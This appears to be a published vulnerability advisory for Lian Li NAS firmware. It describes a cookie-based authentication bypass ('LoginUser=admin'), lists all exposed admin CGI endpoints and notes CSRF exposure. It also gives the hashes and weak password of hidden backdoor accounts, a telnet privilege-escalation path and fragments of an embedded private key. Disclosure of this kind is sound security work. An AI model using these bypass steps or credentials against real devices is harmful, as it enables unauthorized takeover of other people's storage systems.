# Exploit Title: Lian Li NAS Multiple vulnerabilities
# Date: 21/07/2014
# Exploit Author: pws
# Vendor Homepage: http://www.lian-li.com/en/dt_portfolio_category/nas/
# Firmware Link: https://www.dropbox.com/s/imvkndl8m5yj7qp/G5S604121826700.tar.gz
# Tested on: Latest version
# CVE : None yet

1. Hardcoded cookie to access the admin section

File: /javascript/storlib.js
function get_cookie()
{
	var allcookies = document.cookie;
	var pos = allcookies.indexOf("LoginUser=admin");
	if (pos == -1)
		location = "/index.html";
}

2. Authentication bypass

Create such cookie: 'LoginUser=admin' (document.cookie='LoginUser=admin').
Then, access the URL directly to get admin features.

Eg.
http://192.168.1.1/cgi/telnet/telnet.cgi # enable/disable the Telnet server
http://192.168.1.1/cgi/user/user.cgi     # manage users (change passwords, add user, ...)

Here are all the cgi's accessible (firmware: G5S604121826700) :

cgi/lan/lan.cgi
cgi/lan/lan_nasHandler.cgi
cgi/lan/lan_routerHandler.cgi
cgi/information/information.cgi
cgi/return/return.cgi
cgi/account/account.cgi
cgi/account/accountHandler.cgi
cgi/lang/lang.cgi
cgi/lang/langHandler.cgi
cgi/backup/clear.cgi
cgi/backup/fixed.cgi
cgi/backup/ipaddress.cgi
cgi/backup/listing.cgi
cgi/backup/s.cgi
cgi/backup/schedule.cgi
cgi/backup/source.cgi
cgi/backup/dd_schedule.cgi
cgi/backup/decide.cgi
cgi/backup/ipaddress1.cgi
cgi/backup/s1.cgi
cgi/backup/source1.cgi
cgi/backup/ipaddress2.cgi
cgi/backup/s2.cgi
cgi/backup/source2.cgi
cgi/backup/ipaddress3.cgi
cgi/backup/s3.cgi
cgi/backup/source3.cgi
cgi/backup/ipaddress5.cgi
cgi/backup/s5.cgi
cgi/backup/source5.cgi
cgi/backup/l.cgi
cgi/backup/listing1.cgi
cgi/backup/listing2.cgi
cgi/backup/listing3.cgi
cgi/backup/listing5.cgi
cgi/backup/email.cgi
cgi/backup/email1.cgi
cgi/backup/fixed1.cgi
cgi/backup/schedule1.cgi
cgi/backup/email2.cgi
cgi/backup/fixed2.cgi
cgi/backup/schedule2.cgi
cgi/backup/email3.cgi
cgi/backup/fixed3.cgi
cgi/backup/schedule3.cgi
cgi/backup/dd_schedule1.cgi
cgi/backup/dd_schedule2.cgi
cgi/backup/dd_schedule3.cgi
cgi/backup/dd_schedule5.cgi
cgi/backup/email5.cgi
cgi/backup/fixed5.cgi
cgi/backup/schedule5.cgi
cgi/backup/fixed6.cgi
cgi/backup/ipaddress6.cgi
cgi/backup/listing6.cgi
cgi/backup/s6.cgi
cgi/backup/email6.cgi
cgi/backup/schedule6.cgi
cgi/backup/source6.cgi
cgi/backup/dd_schedule6.cgi
cgi/backup/fixed4.cgi
cgi/backup/ipaddress4.cgi
cgi/backup/listing4.cgi
cgi/backup/s4.cgi
cgi/backup/email4.cgi
cgi/backup/schedule4.cgi
cgi/backup/source4.cgi
cgi/backup/dd_schedule4.cgi
cgi/backup/emessage.cgi
cgi/backup/emessage_fail.cgi
cgi/group/group.cgi
cgi/group/groupHandler.cgi
cgi/group/groupDeleteHandler.cgi
cgi/group/groupMembers.cgi
cgi/group/groupMembersHandler.cgi
cgi/user/user.cgi
cgi/user/userHandler.cgi
cgi/user/userDeleteHandler.cgi
cgi/user/userMembership.cgi
cgi/user/userMembershipHandler.cgi
cgi/time/time.cgi
cgi/time/timeHandler.cgi
cgi/power/power.cgi
cgi/power/powerHandler.cgi
cgi/factoryReset/factoryReset.cgi
cgi/factoryReset/factoryResetHandler.cgi
cgi/restoreConfig/restoreConfig.cgi
cgi/restoreConfig/restoreConfigHandler.cgi
cgi/saveConfig/saveConfig.cgi
cgi/saveConfig/saveConfigHandler.cgi
cgi/diskUsage/diskUsage.cgi
cgi/diskUsage/diskUsageuser.cgi
cgi/diskUsage/diskUsageHandler.cgi
cgi/diskUsage/diskUsageuserHandler.cgi
cgi/diskUtility/diskUtility.cgi
cgi/diskUtility/diskUtilityHandler.cgi
cgi/diskUtility/healthReport.cgi
cgi/dhcpserver/dhcpserver.cgi
cgi/dhcpserver/dhcpserverHandler.cgi
cgi/dhcpserver/dhcplease.cgi
cgi/dhcpserver/dhcpleaseHandler.cgi
cgi/dhcpserver/dhcpstatic.cgi
cgi/dhcpserver/dhcpstaticHandler.cgi
cgi/dhcpserver/staticipDeleteHandler.cgi
cgi/errorAlert/errorAlert.cgi
cgi/errorAlert/errorAlertHandler.cgi
cgi/share/share.cgi
cgi/share/shareHandler.cgi
cgi/share/shareDeleteHandler.cgi
cgi/share/share_nonLinux.cgi
cgi/share/share_nonLinuxHandler.cgi
cgi/share/share_Linux.cgi
cgi/share/share_LinuxHandler.cgi
cgi/fileServer/fileServer.cgi
cgi/fileServer/fileServerHandler.cgi
cgi/log_system/log_system.cgi
cgi/log_system/log_systemHandler.cgi
cgi/log_admin/log_admin.cgi
cgi/log_admin/log_adminHandler.cgi
cgi/log_dhcp/log_dhcp.cgi
cgi/log_dhcp/log_dhcpHandler.cgi
cgi/log_ftp/log_ftp.cgi
cgi/log_ftp/log_ftpHandler.cgi
cgi/log_samba/log_samba.cgi
cgi/log_samba/log_sambaHandler.cgi
cgi/printer/printer.cgi
cgi/printer/printerHandler.cgi
cgi/upgrade2/upgrade.cgi
cgi/upgrade2/upgradeHandler.cgi
cgi/wizard/wizard.cgi
cgi/wizard/language.cgi
cgi/wizard/languageHandler.cgi
cgi/wizard/password.cgi
cgi/wizard/passwordHandler.cgi
cgi/wizard/hostname.cgi
cgi/wizard/hostnameHandler.cgi
cgi/wizard/tcpip.cgi
cgi/wizard/tcpipHandler.cgi
cgi/wizard/time.cgi
cgi/wizard/timeHandler.cgi
cgi/wizard/confirm.cgi
cgi/wizard/confirmHandler.cgi
cgi/wizard/addUser.cgi
cgi/wizard/user.cgi
cgi/wizard/userHandler.cgi
cgi/wizard/userMembership.cgi
cgi/wizard/userMembershipHandler.cgi
cgi/wizard/userSharePermission.cgi
cgi/wizard/userSharePermissionHandler.cgi
cgi/wizard/addGroup.cgi
cgi/wizard/group.cgi
cgi/wizard/groupHandler.cgi
cgi/wizard/groupMembers.cgi
cgi/wizard/groupMembersHandler.cgi
cgi/wizard/groupSharePermission.cgi
cgi/wizard/groupSharePermissionHandler.cgi
cgi/wizard/addShare.cgi
cgi/wizard/share.cgi
cgi/wizard/shareHandler.cgi
cgi/wizard/sharePermission.cgi
cgi/wizard/sharePermissionHandler.cgi
cgi/wizard/nfsPermission.cgi
cgi/wizard/nfsPermissionHandler.cgi
cgi/wizard/button.cgi
cgi/telnet/telnet.cgi
cgi/telnet/telnetHandler.cgi
cgi/bonjour/bonjour.cgi
cgi/bonjour/bonjourHandler.cgi
cgi/raid/raid.cgi
cgi/raid/raidHandler.cgi
cgi/swupdate/swupdate.cgi
cgi/swupdate/swupdateHandler.cgi
cgi/swupdate/installHandler.cgi
cgi/swupdate/swlist.cgi
cgi/swupdate/swlistHandler.cgi

All forms on those cgi pages can be used to perform CSRF attacks (to target internal network for example).

3. Backdoored accounts

Some users are not referenced in the management page but are present in the system.
Moreover, the robustness of such passwords is really poor (password = "123456"):

mysql:$1$$RmyPVMlhpXjJj8iv4w.Ul.:6000:6000:Linux User,,,:/home/mysql:/bin/sh
daemon:$1$$RmyPVMlhpXjJj8iv4w.Ul.:7000:7000:Linux User,,,:/home/daemon:/bin/sh

4. Privilege escalation "scenario"

Enable Telnet server (if disabled)
Connect to it using one of the backdoored accounts and retrieve /etc/passwd file.
It contains passwords for all accounts.

5. Certificate used by the FTP server stored in the firmware

cacert.pem

subject=/C=AU/SOP=QLD/O=Mincom Pty. Ltd./OU=CS/CN=SSLeay demo server
issuer= /C=AU/SOP=QLD/O=Mincom Pty. Ltd./OU=CS/CN=CA
-----BEGIN X509 CERTIFICATE-----


IMs6ZOZB
-----END X509 CERTIFICATE-----

server-cert.pem

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=TW, ST=Taipei, O=Storm, OU=software, CN=aaron/emailAddress=aaron@storlinksemi.com
        Validity
            Not Before: Jan  3 00:46:50 2007 GMT
            Not After : Jan  3 00:46:50 2008 GMT
        Subject: C=TW, ST=Taipei, L=Hsinchu, O=Storm, OU=software, CN=aaron/emailAddress=aaron@storlinksemi.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:c4:1d:89:dc:9b:45:6c:96:e2:ad:e6:98:13:25:
                    64:b4:54:f6:e4:97:74:d5:9f:15:1e:1d:45:a1:75:
                    45:fc:3b:2b:9c:dd:e6:0d:34:4b:d7:6c:8d:d0:32:
                    5f:39:25:ab:53:81:de:84:17:cf:27:0a:c2:26:82:
                    9f:09:3f:a8:7e:8c:31:c3:fe:43:75:fe:1f:53:8e:
                    74:0e:31:d2:55:71:51:1b:7a:01:e3:57:4f:f7:d6:
                    9f:1d:39:19:42:3c:a1:bd:08:d1:99:69:fc:1c:34:
                    6e:0f:fb:a7:36:f5:77:bf:95:c8:1d:50:30:25:59:
                    23:39:d3:27:5a:06:0a:05:6d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:FALSE
            Netscape Comment:
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier:
                61:19:1F:04:38:83:83:E0:CD:6A:8C:CA:F9:9C:6E:D3:7F:C5:55:C3
            X509v3 Authority Key Identifier:
                keyid:F6:E9:49:A1:24:01:C1:0A:4C:7F:6A:E7:58:B8:95:BC:AF:95:B4:F7
                DirName:/C=TW/ST=Taipei/O=Storm/OU=software/CN=aaron/emailAddress=aaron@storlinksemi.com
                serial:00

    Signature Algorithm: sha1WithRSAEncryption
        5b:b7:dc:28:58:5e:53:c5:d7:88:be:71:21:43:b5:db:a1:d7:
        fc:de:38:1d:38:e7:b3:a4:a5:64:92:1b:67:1b:c8:3e:0f:a9:
        16:77:0c:0b:bf:e9:d2:b5:70:cd:05:71:df:1a:db:2a:c8:56:
        5d:91:1c:ef:2b:16:b3:f0:55:89:ba:35:e4:ae:07:6c:4a:c5:
        d0:0d:e3:1b:1d:5e:fd:01:b2:52:0e:fe:05:08:ed:40:26:e6:
        b0:2b:24:2f:0d:42:11:f0:d9:b4:6d:db:ce:d1:b1:65:77:62:
        7a:06:8b:09:c7:33:f3:43:13:a7:33:47:af:5c:6a:39:4e:8f:
        64:5c
-----BEGIN CERTIFICATE-----

8Nm0bdvO0bFld2J6BosJxzPzQxOnM0evXGo5To9kXA==
-----END CERTIFICATE-----

server-key.pem

-----BEGIN RSA PRIVATE KEY-----

ppiLtY+nlj+Mjs2pHLa1bRAWcQRl/GYU4rdF6Py9F/w/
-----END RSA PRIVATE KEY-----